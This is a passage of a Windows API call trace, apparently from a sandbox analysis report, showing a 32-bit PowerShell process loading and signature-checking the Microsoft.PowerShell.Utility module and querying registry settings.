nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.886] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2d5f8, Length=0x20, ResultLength=0x5a2d668 | out: SystemInformation=0x5a2d5f8, ResultLength=0x5a2d668*=0x0) returned 0xc0000003 [0185.886] GetSystemInfo (in: lpSystemInfo=0x5a2d674 | out: lpSystemInfo=0x5a2d674*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0185.887] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2d604 | out: phkResult=0x5a2d604*=0x428) returned 0x0 [0185.887] RegQueryValueExW (in: hKey=0x428, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2d620, lpData=0x0, lpcbData=0x5a2d61c*=0x0 | out: lpType=0x5a2d620*=0x0, lpData=0x0, lpcbData=0x5a2d61c*=0x0) returned 0x2 [0185.887] RegCloseKey (hKey=0x428) returned 0x0 [0185.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d3a8) returned 1 [0185.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x25bad64 | out: lpFileInformation=0x25bad64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0185.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d3a4) returned 1 [0185.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d368) returned 1 [0185.888] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d62c | out: lpFileInformation=0x5a2d62c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0185.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d364) returned 1 [0185.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d2fc) returned 1 [0185.889] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d5c0 | out: lpFileInformation=0x5a2d5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0185.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d2f8) returned 1 [0185.889] CoTaskMemAlloc (cb=0x10) returned 0x46ea98 [0185.889] CoTaskMemAlloc (cb=0x10) returned 0x46e7b0 [0185.889] CoTaskMemAlloc (cb=0xe4) returned 0x42f5d0 [0185.889] CoTaskMemAlloc (cb=0x30) returned 0x433910 [0185.889] WinVerifyTrust () returned 0x800b0100 [0186.175] CoTaskMemFree (pv=0x46ea98) [0186.175] CoTaskMemFree (pv=0x433910) [0186.175] CryptCATHandleFromStore () returned 0x3ba608 [0186.175] WTHelperGetProvSignerFromChain () returned 0x0 [0186.175] CoTaskMemAlloc (cb=0x10) returned 0x46ea98 [0186.175] CoTaskMemAlloc (cb=0x30) returned 0x433910 [0186.175] WinVerifyTrust () returned 0x0 [0186.175] CoTaskMemFree (pv=0x433910) [0186.175] CoTaskMemFree (pv=0x46ea98) [0186.175] CoTaskMemFree (pv=0x42f5d0) [0186.175] CoTaskMemFree (pv=0x46e7b0) [0186.176] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.176] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d5b4) returned 1 [0186.176] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0186.177] GetFileType (hFile=0x428) returned 0x1 [0186.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d5b0) returned 1 [0186.177] GetFileType (hFile=0x428) returned 0x1 [0186.177] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x0 [0186.177] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.178] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x1000 [0186.178] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.178] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x2000 [0186.178] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.179] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x3000 [0186.179] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.179] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x4000 [0186.179] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.179] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x5000 [0186.180] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.180] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x6000 [0186.180] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x1000, lpOverlapped=0x0) returned 1 [0186.180] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x7000 [0186.180] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x778, lpOverlapped=0x0) returned 1 [0186.181] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x7778 [0186.181] ReadFile (in: hFile=0x428, lpBuffer=0x25bbc84, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bbc84*, lpNumberOfBytesRead=0x5a2d61c*=0x0, lpOverlapped=0x0) returned 1 [0186.181] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d5f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d5f0*=0) returned 0x7778 [0186.181] ReadFile (in: hFile=0x428, lpBuffer=0x25bc578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d61c, lpOverlapped=0x0 | out: lpBuffer=0x25bc578*, lpNumberOfBytesRead=0x5a2d61c*=0x0, lpOverlapped=0x0) returned 1 [0186.182] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2d584, Length=0x20, ResultLength=0x5a2d5f4 | out: SystemInformation=0x5a2d584, ResultLength=0x5a2d5f4*=0x0) returned 0xc0000003 [0186.182] GetSystemInfo (in: lpSystemInfo=0x5a2d600 | out: lpSystemInfo=0x5a2d600*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0186.182] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2d590 | out: phkResult=0x5a2d590*=0x42c) returned 0x0 [0186.183] RegQueryValueExW (in: hKey=0x42c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2d5ac, lpData=0x0, lpcbData=0x5a2d5a8*=0x0 | out: lpType=0x5a2d5ac*=0x0, lpData=0x0, lpcbData=0x5a2d5a8*=0x0) returned 0x2 [0186.183] RegCloseKey (hKey=0x42c) returned 0x0 [0186.183] CloseHandle (hObject=0x428) returned 1 [0187.624] CoCreateGuid (in: pguid=0x5a2d6c4 | out: pguid=0x5a2d6c4*(Data1=0xcbfcaf37, Data2=0xdf55, Data3=0x407f, Data4=([0]=0xb5, [1]=0x9e, [2]=0x9c, [3]=0x3d, [4]=0xcc, [5]=0x72, [6]=0xc, [7]=0x84))) returned 0x0 [0187.624] GetCurrentProcess () returned 0xffffffff [0187.624] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2d690 | out: TokenHandle=0x5a2d690*=0x3dc) returned 1 [0187.625] GetTokenInformation (in: TokenHandle=0x3dc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5a2d690 | out: TokenInformation=0x0, ReturnLength=0x5a2d690) returned 0 [0187.625] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x46ca00 [0187.625] GetTokenInformation (in: TokenHandle=0x3dc, TokenInformationClass=0x8, TokenInformation=0x46ca00, TokenInformationLength=0x4, ReturnLength=0x5a2d690 | out: TokenInformation=0x46ca00, ReturnLength=0x5a2d690) returned 1 [0187.626] LocalFree (hMem=0x46ca00) returned 0x0 [0187.626] DuplicateTokenEx (in: hExistingToken=0x3dc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5a2d698 | out: phNewToken=0x5a2d698*=0x428) returned 1 [0187.626] CheckTokenMembership (in: TokenHandle=0x428, SidToCheck=0x24caef8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5a2d6a8 | out: IsMember=0x5a2d6a8) returned 1 [0187.626] CloseHandle (hObject=0x428) returned 1 [0187.632] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2d434 | out: lpPerformanceCount=0x5a2d434*=1261865465130) returned 1 [0187.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d120) returned 1 [0187.632] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d3e4 | out: lpFileInformation=0x5a2d3e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0187.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d11c) returned 1 [0187.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0187.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d0b4) returned 1 [0187.633] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d378 | out: lpFileInformation=0x5a2d378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0187.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d0b0) returned 1 [0187.633] CoTaskMemAlloc (cb=0x10) returned 0x46ea98 [0187.634] CoTaskMemAlloc (cb=0x10) returned 0x46eab0 [0187.634] CoTaskMemAlloc (cb=0xe4) returned 0x42f5d0 [0187.634] CoTaskMemAlloc (cb=0x30) returned 0x44a238 [0187.634] WinVerifyTrust () returned 0x800b0100 [0187.748] CoTaskMemFree (pv=0x46ea98) [0187.748] CoTaskMemFree (pv=0x44a238) [0187.748] CryptCATHandleFromStore () returned 0x3ba698 [0187.748] WTHelperGetProvSignerFromChain () returned 0x0 [0187.748] CoTaskMemAlloc (cb=0x10) returned 0x46ea98 [0187.748] CoTaskMemAlloc (cb=0x30) returned 0x44a238 [0187.749] WinVerifyTrust () returned 0x0 [0187.749] CoTaskMemFree (pv=0x44a238) [0187.749] CoTaskMemFree (pv=0x46ea98) [0187.749] CoTaskMemFree (pv=0x42f5d0) [0187.749] CoTaskMemFree (pv=0x46eab0) [0187.760] CoCreateGuid (in: pguid=0x5a2d310 | out: pguid=0x5a2d310*(Data1=0x97247e28, Data2=0x3f4c, Data3=0x47b2, Data4=([0]=0x93, [1]=0xd2, [2]=0xc7, [3]=0x8f, [4]=0x26, [5]=0x94, [6]=0x4e, [7]=0x6a))) returned 0x0 [0187.761] CoCreateGuid (in: pguid=0x5a2d310 | out: pguid=0x5a2d310*(Data1=0x10918116, Data2=0xad3d, Data3=0x40aa, Data4=([0]=0x8e, [1]=0xf6, [2]=0x1b, [3]=0x16, [4]=0x13, [5]=0x67, [6]=0x7a, [7]=0xfa))) returned 0x0 [0187.762] CoCreateGuid (in: pguid=0x5a2d310 | out: pguid=0x5a2d310*(Data1=0x2ea94a9, Data2=0xa71f, Data3=0x43e6, Data4=([0]=0xa2, [1]=0xfc, [2]=0xd9, [3]=0x66, [4]=0x9d, [5]=0x5b, [6]=0x22, [7]=0x53))) returned 0x0 [0187.762] CoCreateGuid (in: pguid=0x5a2d310 | out: pguid=0x5a2d310*(Data1=0x756ca967, Data2=0x29f1, Data3=0x4f11, Data4=([0]=0x92, [1]=0x18, [2]=0xcf, [3]=0xf4, [4]=0x85, [5]=0xd6, [6]=0xe9, [7]=0x29))) returned 0x0 [0187.765] CoCreateGuid (in: pguid=0x5a2d310 | out: pguid=0x5a2d310*(Data1=0x9850e6b, Data2=0xf3ff, Data3=0x4739, Data4=([0]=0xa1, [1]=0xfb, [2]=0xaa, [3]=0xf9, [4]=0x4, [5]=0x24, [6]=0x67, [7]=0xeb))) returned 0x0 [0187.765] CoCreateGuid (in: pguid=0x5a2d310 | out: pguid=0x5a2d310*(Data1=0x71a577af, Data2=0x4bbd, Data3=0x410f, Data4=([0]=0xbd, [1]=0xbf, [2]=0x72, [3]=0xd0, [4]=0xf9, [5]=0x50, [6]=0x21, [7]=0x72))) returned 0x0 [0188.068] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.068] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.068] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x2693700, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.068] RegCloseKey (hKey=0x42c) returned 0x0 [0188.069] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.069] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.069] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x2693a14, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.069] RegCloseKey (hKey=0x42c) returned 0x0 [0188.069] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.069] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.070] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x2693d10, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.070] RegCloseKey (hKey=0x42c) returned 0x0 [0188.070] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e668 | out: phkResult=0x5a2e668*=0x42c) returned 0x0 [0188.070] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x0, lpcbData=0x5a2e684*=0x0 | out: lpType=0x5a2e688*=0x1, lpData=0x0, lpcbData=0x5a2e684*=0x56) returned 0x0 [0188.070] RegQueryValueExW (in: hKey=0x42c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e688, lpData=0x2694018, lpcbData=0x5a2e684*=0x56 | out: lpType=0x5a2e688*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", 